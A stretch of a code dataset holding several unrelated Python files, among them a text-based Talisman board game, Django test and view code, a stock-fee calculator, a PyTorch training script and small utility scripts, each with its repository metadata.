tavevent==3:\n print(\"You gamble and lose 1 Gold Coin.\")\n poor(1)\n if tavevent==4:\n print(\"You gamble and win 1 Gold Coin.\")\n chardict[\"gold\"]+=1\n if tavevent==5:\n print(\"A wizard offers to Teleport you to an Outer Region space of your choice as your next Move. \"+implem)\n if tavevent==6:\n print(\"A boatman offers to ferry you to the Temple as your next Move. \"+implem)\n elif chardict[\"space\"]==\"Village\":\n while True:\n vill=input(\"You may visit the Healer(H), the Blacksmith(B), or the Mystic(M): \")\n if vill==\"H\":\n print(\"The Healer will restore Lives at the cost of 1 Gold Coin each, up to your starting quota.\")\n if chardict[\"life\"]==chardict[\"maxl\"]:\n print(\"However, you are already at full health.\")\n break\n else:\n while True:\n med=input(\"How many Gold Coins would you like to pay? \")\n if med in [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\"]:\n med=int(med)\n if med(chardict[\"maxl\"]-chardict[\"life\"]):\n print(\"That's too much gold, you don't need to heal that much.\")\n continue\n else:\n poor(med)\n heal(med)\n break\n else:\n print(error)\n break\n elif vill==\"B\":\n print(\"The Blacksmith sells the following Objects at the following prices (if available): Helmet at 2G (H), Sword at 2G (S), Axe at 2G (A), Shield at 3G (S2), Armour at 4G (A2) \"+implem)\n break\n elif vill==\"M\":\n mystevent=roll()\n if mystevent<4:\n print(\"You are ignored.\")\n elif mystevent==4:\n print(\"You become Good.\")\n realign(\"Good\")\n elif mystevent==5:\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n elif mystevent==6:\n print(\"Gain 1 Spell. \"+implem)\n break\n else:\n print(error)\n elif chardict[\"space\"]==\"Chapel\":\n if chardict[\"align\"]==\"Evil\":\n print(\"You lose one life.\")\n wound()\n elif chardict[\"align\"]==\"Neutral\":\n print(\"You may be Healed back up to your starting quota at the cost of 1 Gold Coin per Life. \")\n if chardict[\"life\"]==chardict[\"maxl\"]:\n print(\"However, you are already at full health.\")\n else:\n while True:\n med=input(\"How many Gold Coins would you like to pay? \")\n if med in [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\"]:\n med=int(med)\n if med(chardict[\"maxl\"]-chardict[\"life\"]):\n print(\"That's too much gold, you don't need to heal that much.\")\n continue\n else:\n poor(med)\n heal(med)\n break\n else:\n print(error)\n elif chardict[\"align\"]==\"Good\":\n chapevent=roll()\n if chapevent<5:\n print(\"You are ignored.\")\n elif chapevent==5:\n print(\"Gain 1 Life.\")\n chardict[\"life\"]+=1\n elif chapevent==6:\n print(\"Gain 1 Spell. \"+implem)\n elif chardict[\"space\"]==\"City\":\n while True:\n cit=input(\"You may visit the Enchantress(E), the Doctor(D), or the Alchemist(A): \")\n if cit==\"A\":\n print(\"He will turn any of your Objects into Gold Coin. Give him your Objects and get 1 Gold Coin for each. \"+implem)\n break\n elif cit==\"D\":\n print(\"He will Heal up to 2 Lives at the cost of 1 Gold Coin each.\")\n if chardict[\"life\"]==chardict[\"maxl\"]:\n print(\"However, you are already at full health.\")\n break\n else:\n while True:\n med=input(\"How many Gold Coins would you like to pay? (0, 1, or 2) \")\n if med in [\"0\",\"1\",\"2\"]:\n med=int(med)\n if med(chardict[\"maxl\"]-chardict[\"life\"]):\n print(\"That's too much gold, you don't need to heal that much.\")\n continue\n else:\n poor(med)\n heal(med)\n break\n else:\n print(error)\n break\n elif cit==\"E\":\n enchevent=roll()\n if enchevent==1:\n print(\"You are turned into a Toad for 3 turns. \"+implem)\n elif enchevent==2:\n print(\"Lose 1 Strength.\")\n weak()\n elif enchevent==3:\n print(\"Lose 1 Craft.\")\n dumb()\n elif enchevent==4:\n print(\"Gain 1 Craft.\")\n chardict[\"craft\"]+=1\n elif enchevent==5:\n print(\"Gain 1 Strength.\")\n chardict[\"strength\"]+=1\n elif enchevent==6:\n print(\"Gain 1 Spell. \"+implem)\n break\n else:\n print(error)\n \n else:\n print(implem)\n\n# region: Game\n# Introduction\nprint(\"Welcome to a Python implementation of Talisman (Revised 4th Edition). In this simplified version (v), there is no winning objective. To play the game, type a letter to signal your decision when given a prompt.\")\n# Acknowledgement\nwhile True:\n ack=input(\"Type Yes(Y) to acknowledge: \")\n if ack == \"Y\":\n print(\"\\nGreat! Then let us begin.\")\n break\n else:\n print(error)\n# Character Setup\nprint(\"Now you need to choose which character you will enter the land of Talisman as.\")\nwhile True:\n char=input(\"Will you be the Assassin(A), the Druid(D), the Dwarf(D2), the Elf(E), the Ghoul(G), the Minstrel(M), the Monk(M2), the Priest(P), the Prophetess(P2), the Sorceress(S), the Thief(T), the Troll(T2), the Warrior(W), or the Wizard(W2)? \")\n if char in [\"A\",\"D\",\"D2\",\"E\",\"G\",\"M\",\"M2\",\"P\",\"P2\",\"S\",\"T\",\"T2\",\"W\",\"W2\"]:\n chardict=emptydict.copy()\n if char == \"A\":\n chardict.update({\"name\":\"Assassin\",\"start\":\"City\",\"align\":\"Evil\",\"strength\":3,\"craft\":3,\"life\":4,\"fate\":3})\n chardict[\"addinfo\"]=\"You may assassinate when you attack a character or creature. You cannot assassinate when you are attacked by another character. When you assassinate, battle takes place as normal except that your victim may not roll a die to add to his Strength. If you win, you must force the loser to lose 1 life; you cannot take an Object or gold instead. You may not assassinate while at the Crown of Command.\"\n elif char==\"D\":\n chardict.update({\"name\":\"Druid\",\"start\":\"Forest\",\"align\":\"Neutral\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":4})\n chardict[\"addinfo\"]=\"You begin the game with one Spell. You may change your alignment at will. At any given time though, you can only be of one alignment. For example, if you are carrying the Runesword and you wish to pray at the Chapel, you must ditch the Runesword. Whenever you land on the Woods, you may gain your full complement of Spells, according to your current Craft.\"\n elif char == \"D2\":\n chardict.update({\"name\":\"Dwarf\",\"start\":\"Crags\",\"align\":\"Neutral\",\"strength\":3,\"craft\":3,\"life\":5,\"fate\":5})\n chardict[\"addinfo\"]=\"You need not roll the die in the Crags or the Chasm unless you wish to. If you choose to roll, you must accept the result. You may evade creatures and characters in the Hills. After rolling the die in the Cave, you may add 1 to the score. You need only roll 1 die if you attempt to open the Portal of Power by Craft. You need only roll 2 dice in the Mines. You are unaffected by the Maze.\"\n elif char == \"E\":\n chardict.update({\"name\":\"Elf\",\"start\":\"Forest\",\"align\":\"Good\",\"strength\":3,\"craft\":4,\"life\":4,\"fate\":3})\n chardict[\"addinfo\"]=\"You need not roll the die in the Forest unless you wish to. If you choose to roll, you must accept the result. You may evade creatures and characters in the Woods. If you are on the Woods, instead of rolling the die for your move, you may move to any other Woods in the same Region.\"\n elif char == \"G\":\n chardict.update({\"name\":\"Ghoul\",\"start\":\"Graveyard\",\"align\":\"Evil\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":4})\n chardict[\"addinfo\"]=\"When you attack another character, you may choose to make the attack psychic combat. You may not do this when you are attacked by another character. Whenever you defeat a character in psychic combat, if you choose to take one of his lives, add it to your own. When you kill an Enemy in battle, you may raise it from the dead and keep it as a Follower instead of a trophy. You may have one of your raised Followers add its Strength to yours for one battle, after which it disintegrates to the discard pile. You may only use one raised Follower per battle.\"\n elif char == \"M\":\n chardict.update({\"name\":\"Minstrel\",\"start\":\"Tavern\",\"align\":\"Good\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":5})\n chardict[\"addinfo\"]=\"Animals and Dragons will not attack you, although you may choose to attack them. If you do not attack an Animal, you may attempt to charm it. To do so, roll 1 die: if you roll higher than the Animal's Strength, it joins you as a Follower and adds its Strength to yours in battle. You may only use one charmed Animal per battle. You may take the Maiden and Princess from a character you land on.\"\n elif char == \"M2\":\n chardict.update({\"name\":\"Monk\",\"start\":\"Village\",\"align\":\"Good\",\"strength\":2,\"craft\":3,\"life\":4,\"fate\":5})\n chardict[\"addinfo\"]=\"Your inner belief allows you to add your Craft value to your Strength during battle. After rolling the die when praying, you may add 1 to the score. You may not use any Weapon or Armour during battle.\"\n elif char == \"P\":\n chardict.update({\"name\":\"Priest\",\"start\":\"Chapel\",\"align\":\"Good\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":5})\n chardict[\"addinfo\"]=\"You begin the game with one Spell. After rolling the die when praying, you may add 1 to the score. You may choose to automatically destroy any Spirits without resorting to psychic combat. When you destroy a Spirit in this manner, you may not keep the Enemy as a trophy but you may gain one Spell. You may not use any Weapon during battle.\"\n elif char == \"P2\":\n chardict.update({\"name\":\"Prophetess\",\"start\":\"Chapel\",\"align\":\"Good\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":2})\n chardict[\"addinfo\"]=\"You begin the game with one Spell. During the game, you always have at least one Spell. (Gain a Spell each time you cast your last Spell). Whenever you have to draw Adventure Cards, you may discard one card of your choice that you do not wish to encounter and draw one more card to replace it, which you must encounter. At any time during the game, you may look at the Spell Cards held by other characters.\"\n elif char == \"S\":\n chardict.update({\"name\":\"Sorceress\",\"start\":\"Graveyard\",\"align\":\"Evil\",\"strength\":2,\"craft\":4,\"life\":4,\"fate\":3})\n chardict[\"addinfo\"]=\"You begin the game with one Spell. When you attack another character, you may choose to make the attack psychic combat. You may not do this when you are attacked by another character. You may attempt to beguile a character that you land on, allowing you to take one gold or Object of your choice. To do so, roll one die: you must roll a 6 to beguile a good character; 5 or 6 for a neutral character; or a 4, 5, or 6 for an evil character. You may take any one Follower, except the Maiden, Unicorn, or Princess from a character that you land on.\"\n elif char == \"T\":\n chardict.update({\"name\":\"Thief\",\"start\":\"City\",\"align\":\"Neutral\",\"strength\":3,\"craft\":3,\"life\":4,\"fate\":2})\n chardict[\"addinfo\"]=\"You may take one gold or Object of your choice from a character that you land on. Whenever you visit the Market, Market Day, or Village you may take one card of your choice from the Purchase deck for free.\"\n elif char == \"T2\":\n chardict.update({\"name\":\"Troll\",\"start\":\"Crags\",\"align\":\"Neutral\",\"strength\":6,\"craft\":1,\"life\":6,\"fate\":1})\n chardict[\"addinfo\"]=\"You need not roll the die in the Crags unless you wish to. If you choose to roll, you must accept the result. Whenever you roll a 6 for your move, you may regenerate instead of moving. If you choose to regenerate, heal one life and your turn immediately ends.\"\n elif char == \"W\":\n chardict.update({\"name\":\"Warrior\",\"start\":\"Tavern\",\"align\":\"Neutral\",\"strength\":4,\"craft\":2,\"life\":5,\"fate\":1})\n chardict[\"addinfo\"]=\"You may roll two dice in battle and use the higher attack roll to determine your attack score. You may use two Weapons at the same time.\"\n elif char == \"W2\":\n chardict.update({\"name\":\"Wizard\",\"start\":\"Graveyard\",\"align\":\"Evil\",\"strength\":2,\"craft\":5,\"life\":4,\"fate\":3})\n chardict[\"addinfo\"]=\"You begin the game with two Spells. During the game, you always have at least one Spell. (Gain a Spell each time you cast your last Spell) When you attack another character, you may choose to make the attack psychic combat. You may not do this when you are attacked by another character.\"\n print(\"\\nGood choice! You are now the {name}. You are a {align} character who starts in the {start}. You have {strength} strength, {craft} craft, {life} life, and {fate} fate. {addinfo}\".format(**chardict))\n break\n else:\n print(error)\n# Begin Game\nwhile True:\n ready=input(\"Are you ready to proceed(Y/N)? \")\n if ready==\"Y\":\n print(\"\\nThen we are ready to begin.\")\n break\n elif ready==\"N\":\n print(\"\\nHm, I'm sorry you don't feel ready, but I'm afraid we must proceed anyways.\")\n continue\n else:\n print(error)\n# Starting Setup\nchardict[\"space\"]=chardict[\"start\"]\nchardict[\"mins\"]=chardict[\"strength\"]\nchardict[\"minc\"]=chardict[\"craft\"]\nchardict[\"maxl\"]=chardict[\"life\"]\nchardict[\"maxf\"]=chardict[\"fate\"]\nprint(\"You start at the {space}. You must now move.\".format(**chardict),end=\" \")\n\n[turn() for i in range(1000)] # Game\n\n# Conclusion\ngameover()\n#endregion\n","sub_path":"python/talisman.py","file_name":"talisman.py","file_ext":"py","file_size_in_byte":40738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335245396","text":"from unittest.mock import patch\n\nfrom django.forms.models import model_to_dict\nfrom django.test import override_settings\nfrom django.utils import timezone\n\nfrom orchestra.admin.forms import TaskForm\nfrom orchestra.core.errors import WorkerCertificationError\nfrom orchestra.models import Task\nfrom orchestra.models import TaskAssignment\nfrom orchestra.tests.helpers import OrchestraTestCase\nfrom orchestra.tests.helpers.fixtures import setup_models\nfrom orchestra.tests.helpers.fixtures import ProjectFactory\nfrom orchestra.utils.task_lifecycle import assign_task\nfrom orchestra.utils.task_lifecycle import create_subsequent_tasks\nfrom orchestra.utils.task_lifecycle import submit_task\nfrom orchestra.utils.task_properties import assignment_history\nfrom orchestra.utils.task_properties import is_worker_assigned_to_task\n\n\nclass AdminTestCase(OrchestraTestCase):\n\n def setUp(self):\n super(AdminTestCase, self).setUp()\n setup_models(self)\n\n @override_settings(MACHINE_STEP_SCHEDULER=(\n 'orchestra.utils.machine_step_scheduler',\n 'SynchronousMachineStepScheduler'))\n def test_task_form_init(self):\n \"\"\"\n Test task form initialization for new, human and machine tasks\n \"\"\"\n # Create new task form\n # (Test form init with no task instance)\n TaskForm()\n\n project = self.projects['test_human_and_machine']\n self.assertEquals(Task.objects.filter(project=project).count(), 0)\n create_subsequent_tasks(project)\n\n # Human task was created but not assigned\n # (Test form init with empty assignment history)\n self.assertEquals(Task.objects.filter(project=project).count(),\n 1)\n human_task = Task.objects.filter(project=project).first()\n form = TaskForm(instance=human_task)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n None)\n\n # Human task assigned to entry_level worker\n # (Test form init with a single entry-level worker)\n human_task = assign_task(self.workers[0].id, human_task.id)\n form = TaskForm(instance=human_task)\n with patch('orchestra.utils.task_lifecycle._is_review_needed',\n return_value=True):\n human_task = submit_task(human_task.id, {},\n TaskAssignment.SnapshotType.SUBMIT,\n self.workers[0], 0)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n self.workers[0].id)\n\n # Human task under review\n # (Test form init with both an entry-level worker and reviewer)\n human_task = assign_task(self.workers[1].id, human_task.id)\n form = TaskForm(instance=human_task)\n with patch('orchestra.utils.task_lifecycle._is_review_needed',\n return_value=False):\n human_task = submit_task(human_task.id, {},\n TaskAssignment.SnapshotType.ACCEPT,\n self.workers[1], 0)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n self.workers[1].id)\n\n # Machine task was created\n # (Test form init with a machine task)\n self.assertEquals(Task.objects.filter(project=project).count(),\n 2)\n machine_task = (Task.objects.filter(project=project)\n .exclude(id=human_task.id).first())\n form = TaskForm(instance=machine_task)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n None)\n\n def test_task_form_save(self):\n \"\"\"\n Test task form save for new, human and machine tasks\n \"\"\"\n workflow_version = self.workflow_versions['test_workflow']\n human_step = self.workflow_steps[workflow_version.slug]['step1']\n project = ProjectFactory(workflow_version=workflow_version)\n\n # Add new task to project\n form = TaskForm({'project': project.id,\n 'status': Task.Status.AWAITING_PROCESSING,\n 'step': human_step.id,\n 'start_datetime': timezone.now()})\n form.is_valid()\n self.assertTrue(form.is_valid())\n task = form.save()\n self.assertFalse(task.assignments.exists())\n\n # Add new task to project and assign to entry_level worker (0)\n form = TaskForm({'project': project.id,\n 'status': Task.Status.AWAITING_PROCESSING,\n 'step': human_step.id,\n 'start_datetime': timezone.now()})\n self.assertTrue(form.is_valid())\n form.cleaned_data['currently_assigned_to'] = self.workers[0].id\n task = form.save()\n self.assertTrue(is_worker_assigned_to_task(self.workers[0],\n task))\n self.assertEquals(assignment_history(task).count(), 1)\n self.assertTrue(task.assignments.exists())\n self.assertEquals(task.status, Task.Status.PROCESSING)\n\n # Render task with preexisting entry_level assignment (0) and reassign\n # to another entry_level worker (4)\n form = TaskForm(model_to_dict(task), instance=task)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n self.workers[0].id)\n form.is_valid()\n self.assertTrue(form.is_valid())\n form.cleaned_data['currently_assigned_to'] = self.workers[4].id\n task = form.save()\n self.assertTrue(is_worker_assigned_to_task(self.workers[4],\n task))\n self.assertEquals(assignment_history(task).count(), 1)\n self.assertEquals(task.status, Task.Status.PROCESSING)\n\n # Submit task\n with patch('orchestra.utils.task_lifecycle._is_review_needed',\n return_value=True):\n task = submit_task(task.id, {},\n TaskAssignment.SnapshotType.SUBMIT,\n self.workers[4], 0)\n\n # Assign to reviewer (1) and reassign to another reviewer (3)\n task = assign_task(self.workers[1].id, task.id)\n self.assertTrue(task.status, Task.Status.REVIEWING)\n self.assertTrue(is_worker_assigned_to_task(self.workers[1],\n task))\n task = Task.objects.get(id=task.id)\n form = TaskForm(model_to_dict(task), instance=task)\n self.assertEquals(form.fields['currently_assigned_to'].initial,\n self.workers[1].id)\n self.assertTrue(form.is_valid())\n form.cleaned_data['currently_assigned_to'] = self.workers[3].id\n task = form.save()\n self.assertTrue(is_worker_assigned_to_task(self.workers[3],\n task))\n self.assertEquals(assignment_history(task).count(), 2)\n self.assertEquals(task.status, Task.Status.REVIEWING)\n\n # Attempt to reassign to non-certified worker (2)\n form = TaskForm(model_to_dict(task), instance=task)\n self.assertTrue(form.is_valid())\n form.cleaned_data['currently_assigned_to'] = self.workers[2].id\n with self.assertRaises(WorkerCertificationError):\n form.save()\n","sub_path":"orchestra/tests/test_admin.py","file_name":"test_admin.py","file_ext":"py","file_size_in_byte":7391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"45054728","text":"import csv\nimport random\n\nq = 0 \nace = 0\nquestionsList = []\nanswersList = []\nscore = []\n\nprint(\"Math test\")\nname = input(\"Please, introduce you name: \")\nprint(\"Good luck!\\n\")\n\nwhile q != 5:\n num1 = random.randint(1, 99)\n num2 = random.randint(1, 99)\n\n ans = int(input(str(num1) + \"+\" + str(num2) + \"=\")) \n q += 1\n if ans == num1 + num2:\n \tace += 1\n questionsList.append(str(num1) + \"+\" + str(num2))\n answersList.append(ans)\n\n\nprint(\"\\nEnd of the test, you score \" + str(ace) + \"/5.\")\n\nscore = str(ace) + \"/5\"\nquestions = \", \".join([str(elem) for elem in questionsList])\nanswers = \", \".join([str(elem) for elem in answersList])\n\ntest = []\ntest.append(name)\ntest.append(questions)\ntest.append(answers)\ntest.append(score)\n\nprint(test)\n\n\nwith open(\"MathTests.csv\", \"a\") as file:\n\twriter = csv.writer(file, delimiter='\\t')\n\twriter.writerow(str(elem) for elem in test)","sub_path":"14_Reading_and_Writing_to_a_csv_File/Problema_117.py","file_name":"Problema_117.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"53245769","text":"from warnings import warn\nfrom django.conf import settings\n\n#: A list of one or more sitemaps to inform robots about:\nSITEMAP_URLS = []\nSITEMAP_URLS.extend(getattr(settings, 'ROBOTS_SITEMAP_URLS', []))\n\n#: A list of one or more sitemaps views used to render sitemaps in the current project:\n#: The defaults are the ones that come fromm django, but if the users override them\n#: we just extend the list. If the urls have no reverse lookup, we won't embed them in the robots\nSITEMAP_VIEWS = ['django.contrib.sitemaps.views.index', 'django.contrib.sitemaps.views.sitemap']\nSITEMAP_VIEWS.extend(getattr(settings, 'ROBOTS_SITEMAP_VIEWS', []))\n\n# For backwards-compatibility, we'll automatically add a single URL\n# to the list:\nSITEMAP_URL = getattr(settings, 'ROBOTS_SITEMAP_URL', None)\nif SITEMAP_URL is not None:\n warn(\"The ``SITEMAP_URL`` setting is deprecated. \"\n \"Use ``SITEMAP_URLS`` instead.\", PendingDeprecationWarning)\n SITEMAP_URLS.append(SITEMAP_URL)\n\nUSE_SITEMAP = getattr(settings, 'ROBOTS_USE_SITEMAP', True)\nEXCLUDE_URL_NAMES = getattr(settings, 'ROBOTS_EXCLUDE_URL_NAMES', [])\nCACHE_TIMEOUT = getattr(settings, 'ROBOTS_CACHE_TIMEOUT', None)\n\nADMIN = '/admin/'\n","sub_path":"robots/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"466361733","text":"\"\"\"\nShow some text as a corner annotation.\nFonts: arial, courier, times.\n\"\"\"\nfrom vtkplotter import show, Text, Cube\n\nwith open(\"annotations.py\") as fname:\n t = fname.read()\n\nactor2d = Text(t, pos=3, s=1.2, c='k', bg=\"lb\", font=\"courier\")\n\nshow(actor2d, Cube(), verbose=0, axes=0)\n","sub_path":"examples/plotting2d/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76519287","text":"# Utility to calculate Rakuten Trade fees\nfrom math import ceil\n\nprint('Please input total share number to purchase ')\nshare_no = int(input())\n\nprint('Please input purchse price')\nmarket_price = float(input())\n\nprint('Stamp Duty exemption? y / n')\nmarket_exempt = True if input() == 'y' else False\n\ntotal_price = share_no * market_price\n\n# Calculate broker_fee\nif total_price < 1000:\n\tbroker_fee = 7\nelif total_price >= 1000 and total_price <= 9999.99:\n\tbroker_fee = 8\nelif total_price >= 10000 and total_price <= 99999.99:\n\tbroker_fee = total_price * 0.001\nelse:\n\tbroker_fee = 100\n\n# Calulate clearing fee\nclearing_fee = float(min(total_price * 0.0003, 1000))\n\n# Calculate stamp duty\nif market_exempt is True:\n\tstamp_duty = 0\nelse:\n\tstamp_duty = ceil(total_price / 1000)\n\tstamp_duty = min(200, stamp_duty)\n\n# Calculate sst\nsst = broker_fee * 0.06\n\ntotal_cost = clearing_fee + stamp_duty + broker_fee + sst\ntotal_fee = total_price + clearing_fee + stamp_duty + broker_fee + sst\n\nprint('The total broker fee is %.2f' % broker_fee)\nprint('The total clearing fee is %.2f' % clearing_fee)\nprint('The total stamp duty is %.2f' % stamp_duty)\nprint('The total SST is %.2f' % sst)\nprint('The total transaction cost is %.2f' % total_cost)\nprint('The total fee is : %.2f' % total_fee)\n","sub_path":"rakuten.py","file_name":"rakuten.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"168681175","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\n\"\"\"\nmail:wqc2008@gmail.com\n@createtime: 17/10/30 下午4:44\n@license: Apache Licence 2.0\nusege:\n ......\n\n\"\"\"\n\nimport time\nimport pymongo\nimport requests\nfrom pymongo import ReturnDocument\n\nfrom settings import MONGO_DATABASE,MONGO_URI,CURRENT_SITE_NAME,BOT_NAME\n\nclient = pymongo.MongoClient(MONGO_URI)\ndb = client[MONGO_DATABASE]\nurl = \"http://localhost:6800/schedule.json\"\n\ni = 0\nwhile True:\n\n where = {\"status\": 0}\n updata = {'$set': {'status': 1}}\n sort = [('inc_num', pymongo.ASCENDING)]\n\n result = db[\"articles\"].find_one_and_update(where, updata, sort=sort, return_document=ReturnDocument.AFTER)\n\n if result != None:\n\n data = {\"project\": BOT_NAME, \"spider\": 'ddetails', \"site_name\": CURRENT_SITE_NAME, \"article_name\": result['title'],\n \"article_url\": result['url']}\n r = requests.post(url, data)\n print(r.text)\n\n else:\n\n print(\"在数据库中pages中状态为0 已经为空\")\n break\n\n i = i + 1\n\n if i % 10 == 0:\n time.sleep(3)\n\n","sub_path":"ebook/rebot_ddetails.py","file_name":"rebot_ddetails.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"289212555","text":"# -*- coding: utf-8 -*-\n# @Time : Thu Mar 7 13:49:02 2019\n# @Author : Yao Qiang\n# @Email : qiangyao1988wsu@gmail.com\n# @File : Train.py\n# @Software: Spyder\n# @Pythpon Version: python3.6\n\n\nimport torch\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport CreateModel \nimport TrainSet \n\ndef train(epoch):\n '''\n train model\n '''\n \n # The net is in training model, so we can use drop out\n net.train() \n correct = 0\n sum = 0\n T = 0\n \n \n running_loss = 0.0\n\n for batch_index, (datas, labels) in enumerate(trainloader, 0):\n labels = labels.max(1)[1]\n datas = Variable(datas).float()\n datas = datas.view(-1, 1, 256, 256)\n labels = Variable(labels).long()\n \n if torch.cuda.is_available():\n datas = datas.cuda()\n labels = labels.cuda()\n \n # forward\n optimizer.zero_grad()\n outputs = net(datas)\n loss = criterion(outputs, labels)\n \n # back\n loss.backward()\n optimizer.step()\n \n \n # print statistics\n running_loss += loss.item()\n \n T += 1\n pred_choice = outputs.data.max(1)[1]\n correct += pred_choice.eq(labels.data).cpu().sum()\n sum += len(labels)\n # accuracy = correct / sum\n \n if batch_index % 100 == 99:\n print('[%d,%4d] loss: %.3f' %\n (epoch + 1, batch_index + 1, running_loss))\n running_loss = 0.0\n print('Accuracy of the network: %d %%' % (100 * correct / sum))\n \n ''' \n print('batch_index: [%d/%d]' % (batch_index, len(trainloader)),\n 'Train epoch: [%d]' % (epoch),\n 'correct/sum:[%d/%d]' % (correct, sum),\n 'accuracy:[%d]' % (accuracy))\n '''\n\n\n\n\ndef eval(epoch):\n '''\n eval mode\n '''\n # The net is in eval model, so we can not use drop out, and stop backpropagation\n net.eval() \n correct = 0\n sum = 0\n \n for batch_index, (datas, labels) in enumerate(evalloader, 0):\n labels = labels.max(1)[1]\n datas = Variable(datas).cuda().float()\n datas = datas.view(-1, 1, 256, 256)\n labels = Variable(labels).cuda().long()\n # optimizer.zero_grad()\n outputs = net(datas)\n # loss = criterion(outputs, labels)\n # loss.backward()\n # optimizer.step()\n\n pred_choice = outputs.data.max(1)[1]\n correct += pred_choice.eq(labels.data).cpu().sum()\n sum += len(labels)\n \n # accuracy = correct / sum\n ''' \n print('batch_index: [%d/%d]' % (batch_index, len(evalloader)),\n 'Eval epoch: [%d]' % (epoch),\n 'correct/sum:%d/%d' % (correct, sum),\n 'accuracy:[%d]' % (accuracy))\n ''' \n\nif __name__ == '__main__':\n \n n_epoch, batch_size = 1, 8\n \n # create trainloader and evalloader\n trainset = TrainSet.TrainSet(eval=False)\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size, shuffle=True)\n evalset = TrainSet.TrainSet(eval=True)\n evalloader = torch.utils.data.DataLoader(evalset, batch_size=batch_size, shuffle=True)\n \n net = CreateModel.net()\n \n if torch.cuda.is_available():\n net.cuda()\n \n # loss function \n criterion = nn.CrossEntropyLoss()\n\n #optimizer\n optimizer = optim.SGD(net.parameters(), lr=1e-3, momentum=0.9, weight_decay=1e-4)\n\n \n \n # Whether to load model parameters\n load = False\n\n if load:\n checkpoint = CreateModel.load_checkpoint()\n net.load_state_dict(checkpoint['state_dict'])\n start_epoch = checkpoint['epoch'] + 1\n else:\n start_epoch = 0\n\n\n for epoch in range(start_epoch, n_epoch):\n train(epoch)\n\n # save checkpoint\n checkpoint = {'epoch': epoch, 'state_dict': net.state_dict(), 'optimizer': optimizer.state_dict()}\n CreateModel.save_checkpoint(checkpoint)\n\n eval(epoch)","sub_path":"scripts/Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"118679900","text":"from settings import *\nimport random\n\nlanguage_wakeWords = ['computer']\nlanguage_politeWords = ['please', 'thanks', 'sorry', 'thank', 'por', 'favor']\nlanguage_rudeWords = ['fuck', 'shit', 'bitch']\n\ninsults = ['stupid human', 'idiot', 'meat bag']\n\ndef isRude(words):\n score = 0\n for word in words:\n if word in language_rudeWords:\n score += 1\n\n if (score >= rudeThreshold):\n return True\n return False\n\ndef randomInsult():\n return random.choice(insults)","sub_path":"logic/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"276831753","text":"from django.shortcuts import render, redirect # 追加\nfrom django.contrib.auth import authenticate, login # 追加 \nfrom .forms import CustomUserCreationForm # 追加\nfrom django.shortcuts import get_object_or_404, render, redirect \nfrom .models import Product\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.http import require_POST\nfrom django.contrib import messages # 追加 \nfrom .forms import AddToCartForm # 追加\n\n\n\n\ndef index(request):\n products = Product.objects.all().order_by('-id')\n return render(request, 'app/index.html', {'products': products})\n\n\ndef signup(request):\n if request.method == 'POST':\n form = CustomUserCreationForm(request.POST)\n if form.is_valid():\n new_user = form.save()\n input_email = form.cleaned_data['email']\n input_password = form.cleaned_data['password1']\n new_user = authenticate(email=input_email,password=input_password)\n if new_user is not None:\n login(request, new_user)\n return redirect('app:index')\n else:\n form = CustomUserCreationForm()\n return render(request, 'app/signup.html', {'form': form})\n\ndef detail(request, product_id):\n product = get_object_or_404(Product, pk=product_id)\n add_to_cart_form = AddToCartForm(request.POST or None)\n if add_to_cart_form.is_valid():\n num = add_to_cart_form.cleaned_data['num']\n\n # セッションに cart というキーがあるかどうかで処理を分ける \n if 'cart' in request.session:\n # すでに特定の商品の個数があれば新しい個数を加算、なければ新しくキ ーを追加する\n if str(product_id) in request.session['cart']:\n request.session['cart'][str(product_id)] += num\n else:\n request.session['cart'][str(product_id)] = num\n else:\n # 新しく cart というセッションのキーを追加 \n request.session['cart'] = {str(product_id): num}\n messages.success(request, f\"{product.name}を{num}個カートに入れました!\")\n return redirect('app:detail', product_id=product_id)\n context = {\n 'product': product,\n 'add_to_cart_form': add_to_cart_form,\n }\n\n return render(request, 'app/detail.html', context)\n\n@login_required\n@require_POST\ndef toggle_fav_product_status(request):\n product = get_object_or_404(Product, pk=request.POST[\"product_id\"])\n user = request.user\n if product in user.fav_products.all():\n user.fav_products.remove(product)\n else:\n user.fav_products.add(product)\n return redirect('app:detail', product_id=product.id)\n\n@login_required\ndef fav_products(request):\n user = request.user\n products = user.fav_products.all()\n return render(request, 'app/index.html', {'products': products})\n\n\n@login_required \ndef cart(request):\n cart = request.session.get('cart', {})\n cart_products = 